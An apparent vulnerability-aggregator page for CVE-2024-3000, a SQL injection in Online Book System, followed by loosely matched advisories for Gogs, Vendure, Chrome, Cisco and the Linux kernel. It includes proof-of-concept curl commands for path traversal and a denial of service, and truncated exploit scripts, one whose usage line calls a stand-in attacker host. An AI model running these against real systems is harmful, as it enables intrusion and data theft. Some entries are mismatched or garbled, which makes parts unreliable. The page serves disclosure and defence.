CVE-2024-3000
published 2024-03-27CVE-2024-3000: A vulnerability classified as critical was found in code-projects Online Book System 1.0. This vulnerability affects unknown code of the file /index.php. The…
PriorityP356critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EPSS
0.97%
58.0th percentile
A vulnerability classified as critical was found in code-projects Online Book System 1.0. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument username/password/login_username/login_password leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-258202 is the identifier assigned to this vulnerability.
Affected
9 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| anisha | online_book_system | — | — |
| code-projects | online_book_system | — | — |
| github.com | gogs_gogs | >= 0 < 0.13.3-0.20250608224432-110117b2e5e5 | 0.13.3-0.20250608224432-110117b2e5e5 |
| gogs.io | gogs | >= 0 < 0.13.3-0.20250608224432-110117b2e5e5 | 0.13.3-0.20250608224432-110117b2e5e5 |
| chrome_chrome | — | — | |
| hono | node-server | >= 1.3.0 < 1.10.1 | 1.10.1 |
| open-webui | open-webui | 0 – 0.3.8 | — |
| vendure | asset-server-plugin | >= 0 < 2.3.3 | 2.3.3 |
| vendure | asset-server-plugin | >= 3.0.0 < 3.0.5 | 3.0.5 |
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
ghsa8.8HIGH
vendor_redhat7.8HIGH
vendor_cisco5.8MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Gogs XSS allowed by stored call in PDF renderer
ghsa·2025-06-26·CVSS 8.8
CVE-2025-47943 [HIGH] CWE-79 Gogs XSS allowed by stored call in PDF renderer
Gogs XSS allowed by stored call in PDF renderer
### Summary
A stored XSS is present in Gogs which allows client-side Javascript code execution.
### Details
Gogs Version:
```
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
gogs/gogs latest fe92583bc4fe 10 hours ago 99.3MB
```
Application version: `0.14.0+dev`
Local setup using:
```bash
# Pull image from Docker Hub.
docker pull gogs/gogs
# Create local directory for volume.
sudo mkdir -p /var/gogs
# Use `docker run` for the first time.
docker run --name=gogs -p 10022:22 -p 10880:3000 -v /var/gogs:/data gogs/gogs
```
The vulnerability is caused by the usage of a vulnerable and outdated component: `pdfjs-1.4.20` under public/plugins/.
Read more about this vulnerability at [codeanlabs - CVE-2024-4367](https://codeanlabs.com/blog/res
GHSA
Vendure asset server plugin has local file read vulnerability with AssetServerPlugin & LocalAssetStorageStrategy
ghsa·2024-10-15
CVE-2024-48914 [CRITICAL] CWE-20 Vendure asset server plugin has local file read vulnerability with AssetServerPlugin & LocalAssetStorageStrategy
Vendure asset server plugin has local file read vulnerability with AssetServerPlugin & LocalAssetStorageStrategy
# Description
## Path traversal
This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server.
From Rajesh Sharma who discovered the vulnerability:
POC: `curl --path-as-is http://localhost:3000/assets/../package.json` gives you the content of package.json present in the local directory.
The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js
https://github.com/vendure-ecomme
GHSA
open-webui Insecure Direct Object Reference (IDOR) vulnerability
ghsa·2024-10-09
CVE-2024-7041 [MEDIUM] CWE-250 open-webui Insecure Direct Object Reference (IDOR) vulnerability
open-webui Insecure Direct Object Reference (IDOR) vulnerability
An Insecure Direct Object Reference (IDOR) vulnerability exists in open-webui/open-webui version v0.3.8. The vulnerability occurs in the API endpoint `http://0.0.0.0:3000/api/v1/memories/{id}/update`, where the decentralization design is flawed, allowing attackers to edit other users' memories without proper authorization.
GHSA
@hono/node-server has Denial of Service risk when receiving Host header that cannot be parsed
ghsa·2024-04-19
CVE-2024-32652 [HIGH] CWE-755 @hono/node-server has Denial of Service risk when receiving Host header that cannot be parsed
@hono/node-server has Denial of Service risk when receiving Host header that cannot be parsed
### Impact
The application hangs when receiving a Host header with a value that `@hono/node-server` can't handle well. Invalid values are those that cannot be parsed by the `URL` as a hostname such as an empty string, slashes `/`, and other strings.
For example, if you have a simple application:
```ts
import { serve } from '@hono/node-server'
import { Hono } from 'hono'
const app = new Hono()
app.get('/', (c) => c.text('Hello'))
serve(app)
```
Sending a request with a Host header with an empty value to it:
```
curl localhost:3000/ -H "Host: "
```
The results:
```
node:internal/url:775
this.#updateContext(bindingUrl.parse(input, base));
^
TypeError: Invalid URL
at new URL (node:internal
GHSA
GHSA-2g9w-mw43-7j8w: A vulnerability classified as critical was found in code-projects Online Book System 1
ghsa_unreviewed·2024-03-28
CVE-2024-3000 [HIGH] CWE-89 GHSA-2g9w-mw43-7j8w: A vulnerability classified as critical was found in code-projects Online Book System 1
A vulnerability classified as critical was found in code-projects Online Book System 1.0. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument username/password/login_username/login_password leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-258202 is the identifier assigned to this vulnerability.
Chrome
Stable Channel Update for ChromeOS / ChromeOS Flex: CVE-2025-1923
vendor_chrome·2025-03-18·CVSS 4.3
CVE-2025-1923 [LOW] Stable Channel Update for ChromeOS / ChromeOS Flex: CVE-2025-1923
Stable Channel Update for ChromeOS / ChromeOS Flex
CVE-2025-1923: Inappropriate Implementation in Permission Prompts. Reported by Khalil Zhani on 2024-12-06 [$3000
Severity: low
Chrome
Stable Channel Update for Desktop: CVE-2025-0434
vendor_chrome·2025-01-14·CVSS 8.8
CVE-2025-0434 [HIGH] Stable Channel Update for Desktop: CVE-2025-0434
Stable Channel Update for Desktop
CVE-2025-0434: Out of bounds memory access in V8. Reported by ddme on 2024-10-21 [$7000][ 379652406 ] High CVE-2025-0435: Inappropriate implementation in Navigation
Reported by Alesandro Ortiz on 2024-11-18 [$3000][ 382786791 ] High CVE-2025-0436: Integer overflow in Skia
Severity: high
Red Hat
kernel: ext4: update orig_path in ext4_find_extent()
vendor_redhat·2024-10-21·CVSS 5.5
CVE-2024-49881 [MEDIUM] CWE-476 kernel: ext4: update orig_path in ext4_find_extent()
kernel: ext4: update orig_path in ext4_find_extent()
In the Linux kernel, the following vulnerability has been resolved:
ext4: update orig_path in ext4_find_extent()
In ext4_find_extent(), if the path is not big enough, we free it and set
*orig_path to NULL. But after reallocating and successfully initializing
the path, we don't update *orig_path, in which case the caller gets a
valid path but a NULL ppath, and this may cause a NULL pointer dereference
or a path memory leak. For example:
ext4_split_extent
path = *ppath = 2000
ext4_find_extent
if (depth > path[0].p_maxdepth)
kfree(path = 2000);
*orig_path = path = NULL;
path = kcalloc() = 3000
ext4_split_extent_at(*ppath = NULL)
path = *ppath;
ex = path[depth].p_ext;
// NULL pointer dereference!
BUG: kernel NULL pointer dereference, addres
Red Hat
kernel: ext4: aovid use-after-free in ext4_ext_insert_extent()
vendor_redhat·2024-10-21·CVSS 7.8
CVE-2024-49883 [HIGH] kernel: ext4: aovid use-after-free in ext4_ext_insert_extent()
kernel: ext4: aovid use-after-free in ext4_ext_insert_extent()
In the Linux kernel, the following vulnerability has been resolved:
ext4: aovid use-after-free in ext4_ext_insert_extent()
As Ojaswin mentioned in Link, in ext4_ext_insert_extent(), if the path is
reallocated in ext4_ext_create_new_leaf(), we'll use the stale path and
cause UAF. Below is a sample trace with dummy values:
ext4_ext_insert_extent
path = *ppath = 2000
ext4_ext_create_new_leaf(ppath)
ext4_find_extent(ppath)
path = *ppath = 2000
if (depth > path[0].p_maxdepth)
kfree(path = 2000);
*ppath = path = NULL;
path = kcalloc() = 3000
*ppath = 3000;
return path;
/* here path is still 2000, UAF! */
eh = path[depth].p_hdr
BUG: KASAN: slab-use-after-free in ext4_ext_insert_extent+0x26d4/0x3330
Read of size 8 at addr ffff8881027b
Chrome
Stable Channel Update for ChromeOS / ChromeOS Flex: CVE-2024-7974
vendor_chrome·2024-09-09·CVSS 8.8
CVE-2024-7974 [MEDIUM] Stable Channel Update for ChromeOS / ChromeOS Flex: CVE-2024-7974
Stable Channel Update for ChromeOS / ChromeOS Flex
CVE-2024-7974: Insufficient data validation in V8 API. Reported by bowu(@gocrashed) on 2024-05-07 [$3000][ 347588491 ] Medium CVE-2024-7975: Inappropriate implementation in Permissions
Reported by Thomas Orlita on 2024-06-16 [$2000][ 339654392 ] Medium CVE-2024-7976: Inappropriate implementation in FedCM
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2024-7972
vendor_chrome·2024-08-21·CVSS 8.8
CVE-2024-7972 [MEDIUM] Stable Channel Update for Desktop: CVE-2024-7972
Stable Channel Update for Desktop
CVE-2024-7972: Inappropriate implementation in V8. Reported by Simon Gerst (intrigus-lgtm), Liam Wachter, and Julian Gremminger on 2024-06-10 [$7000][ 345518608 ] Medium CVE-2024-7973: Heap buffer overflow in PDFium
Reported by soiax on 2024-06-06 [$3000][ 339141099 ] Medium CVE-2024-7974: Insufficient data validation in V8 API
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2024-5833
vendor_chrome·2024-06-11·CVSS 8.8
CVE-2024-5833 [HIGH] Stable Channel Update for Desktop: CVE-2024-5833
Stable Channel Update for Desktop
CVE-2024-5833: Type Confusion in V8. Reported by @ginggilBesel on 2024-05-24 [$5000][ 342840932 ] High CVE-2024-5834: Inappropriate implementation in Dawn
Reported by gelatin dessert on 2024-05-26 [$3000][ 341991535 ] High CVE-2024-5835: Heap buffer overflow in Tab Groups
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2024-3838
vendor_chrome·2024-04-16·CVSS 5.5
CVE-2024-3838 [MEDIUM] Stable Channel Update for Desktop: CVE-2024-3838
Stable Channel Update for Desktop
CVE-2024-3838: Inappropriate implementation in Autofill. Reported by KiriminAja on 2024-03-06 [$5000][ 41491859 ] Medium CVE-2024-3839: Out of bounds read in Fonts
Reported by Ronald Crane (Zippenhop LLC) on 2024-01-16 [$3000][ 41493458 ] Medium CVE-2024-3840: Insufficient policy enforcement in Site Isolation
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2024-3914
vendor_chrome·2024-04-16·CVSS 8.8
CVE-2024-3914 [HIGH] Stable Channel Update for Desktop: CVE-2024-3914
Stable Channel Update for Desktop
CVE-2024-3914: Use after free in V8. Reported by Seunghyun Lee (@0x10n) of KAIST Hacking Lab, via Pwn2Own 2024 on 2024-03-21 [$3000][ 326607008 ] High CVE-2024-3834: Use after free in Downloads
Reported by ChaobinZhang on 2024-02-24 [$7000][ 41491379 ] Medium CVE-2024-3837: Use after free in QUIC
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2024-3156
vendor_chrome·2024-04-02·CVSS 8.8
CVE-2024-3156 [HIGH] Stable Channel Update for Desktop: CVE-2024-3156
Stable Channel Update for Desktop
CVE-2024-3156: Inappropriate implementation in V8. Reported by Zhenghang Xiao (@Kipreyyy) on 2024-03-12 [$3000][ 329965696 ] High CVE-2024-3158: Use after free in Bookmarks
Reported by undoingfish on 2024-03-17 [N/A][ 330760873 ] High CVE-2024-3159: Out of bounds memory access in V8
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2024-2626
vendor_chrome·2024-03-19·CVSS 6.5
CVE-2024-2626 [MEDIUM] Stable Channel Update for Desktop: CVE-2024-2626
Stable Channel Update for Desktop
CVE-2024-2626: Out of bounds read in Swiftshader. Reported by Cassidy Kim(@cassidy6564) on 2023-11-22 [$4000][ 41493290 ] Medium CVE-2024-2627: Use after free in Canvas
Reported by Anonymous on 2024-01-21 [$3000][ 41487774 ] Medium CVE-2024-2628: Inappropriate implementation in Downloads
Severity: medium
Cisco
Cisco Nexus 3000 and 9000 Series Switches Port Channel ACL Programming Vulnerability
vendor_cisco·2024-02-28·CVSS 5.8
CVE-2024-20291 [MEDIUM] CWE-284 Cisco Nexus 3000 and 9000 Series Switches Port Channel ACL Programming Vulnerability
Cisco Nexus 3000 and 9000 Series Switches Port Channel ACL Programming Vulnerability
A vulnerability in the access control list (ACL) programming for port channel subinterfaces of Cisco Nexus 3000 and 9000 Series Switches in standalone NX-OS mode could allow an unauthenticated, remote attacker to send traffic that should be blocked through an affected device.
This vulnerability is due to incorrect hardware programming that occurs when configuration changes are made to port channel member ports. An attacker could exploit this vulnerability by attempting to send traffic through an affected device. A successful exploit could allow the attacker to access network resources that should be protected by an ACL that was applied on port channel subinterfaces.
Cisco has released software updates t
Chrome
Stable Channel Update for Desktop: CVE-2024-1669
vendor_chrome·2024-02-20·CVSS 8.8
CVE-2024-1669 [HIGH] Stable Channel Update for Desktop: CVE-2024-1669
Stable Channel Update for Desktop
CVE-2024-1669: Out of bounds memory access in Blink. Reported by Anonymous on 2024-01-26 [$5000][ 41481374 ] High CVE-2024-1670: Use after free in Mojo
Reported by Cassidy Kim(@cassidy6564) on 2023-12-06 [$3000][ 40069622 ] Medium CVE-2024-5500: Inappropriate Implementation in Sign-In
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2024-3168
vendor_chrome·2024-02-20·CVSS 6.5
CVE-2024-3168 [MEDIUM] Stable Channel Update for Desktop: CVE-2024-3168
Stable Channel Update for Desktop
CVE-2024-3168: Use after free in DevTools. Reported by Cassidy Kim(@cassidy6564) on 2024-02-05 [$8000][ 41487933 ] Medium CVE-2024-1671: Inappropriate implementation in Site Isolation
Reported by Harry Chen on 2024-01-03 [$3000][ 41485789 ] Medium CVE-2024-1672: Inappropriate implementation in Content Security Policy
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2024-1077
vendor_chrome·2024-01-30·CVSS 8.8
CVE-2024-1077 [HIGH] Stable Channel Update for Desktop: CVE-2024-1077
Stable Channel Update for Desktop
CVE-2024-1077: Use after free in Network. Reported by Giulio Candreva with Microsoft Browser Security on 2023-12-12 [$5000][ 1511567 ] High CVE-2024-1060: Use after free in Canvas
Reported by Anonymous on 2023-12-14 [$3000][ 1514777 ] High CVE-2024-1059: Use after free in WebRTC
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2024-3174
vendor_chrome·2023-10-31·CVSS 4.3
CVE-2024-3174 [HIGH] Stable Channel Update for Desktop: CVE-2024-3174
Stable Channel Update for Desktop
CVE-2024-3174: Inappropriate implementation in V8. Reported by Alan Goodman on 2023-09-25 [$3000][ 1281972 ] Medium CVE-2023-5850: Incorrect security UI in Downloads
Reported by Mohit Raj (shadow2639) on 2021-12-22 [$5000][ 40066780 ] Medium CVE-2023-7011: Inappropriate implementation in Picture in Picture
Severity: high
Cisco
Cisco Nexus 3000 and 9000 Series Switches Port Channel ACL Programming Vulnerability
vendor_cisco·CVSS 3.1
CVE-2024-20291 Cisco Nexus 3000 and 9000 Series Switches Port Channel ACL Programming Vulnerability
CVE-2024-20291: Cisco Nexus 3000 and 9000 Series Switches Port Channel ACL Programming Vulnerability
A vulnerability in the access control list (ACL) programming for port channel subinterfaces of Cisco Nexus 3000 and 9000 Series Switches in standalone NX-OS mode could allow an unauthenticated, remote attacker to send traffic that should be blocked through an affected device. This vulnerability is due to incorrect hardware programming that occurs when configuration changes are made to port channel member ports. An attacker could exploit this vulnerability by attempting to send traffic through an affected device. A successful exploit could allow the attacker to access network resources that should be protected by an ACL that was applied on port channel subinterfaces. Cisco has released softw
No detection rules found.
Exploit-DB
Camaleon CMS v2.9.0 - Path Traversal
exploitdb·2026-04-30·CVSS 7.7
CVE-2024-46987 [HIGH] Camaleon CMS v2.9.0 - Path Traversal
Camaleon CMS v2.9.0 - Path Traversal
---
# Exploit Title: Camaleon CMS v2.9.0 - Path Traversal
# Date: 2026-02-02
# Exploit Author: Sakshi Velampudi (CyberQuestor)
# Vendor Homepage: https://github.com/owen2345/camaleon-cms
# Software Link: https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
# Version: 3000:
print("\n...output truncated...")
raise SystemExit(0)
# Other failure conditions
print("\n[!] Request failed.")
if response.status_code == 500:
print("[!] The file path may be invalid, or the server encountered an internal error.")
print(f"[i] Response length: {len(response.content)} bytes")
raise SystemExit(1)
Exploit-DB
gogs 0.13.0 - Remote Code Execution (RCE)
exploitdb·2025-07-02·CVSS 9.9
CVE-2024-39930 [CRITICAL] gogs 0.13.0 - Remote Code Execution (RCE)
gogs 0.13.0 - Remote Code Execution (RCE)
---
# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE)
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930
# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================
import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse
API_BASE_URL = ""
def generate_ran
No writeups or analysis indexed.
https://github.com/BurakSevben/CVEs/blob/main/Online%20Book%20System/Online%20Book%20System%20-%20Authentication%20Bypass.mdhttps://vuldb.com/?ctiid.258202https://vuldb.com/?id.258202https://vuldb.com/?submit.305052https://github.com/BurakSevben/CVEs/blob/main/Online%20Book%20System/Online%20Book%20System%20-%20Authentication%20Bypass.mdhttps://vuldb.com/?ctiid.258202https://vuldb.com/?id.258202https://vuldb.com/?submit.305052
2024-03-27
Published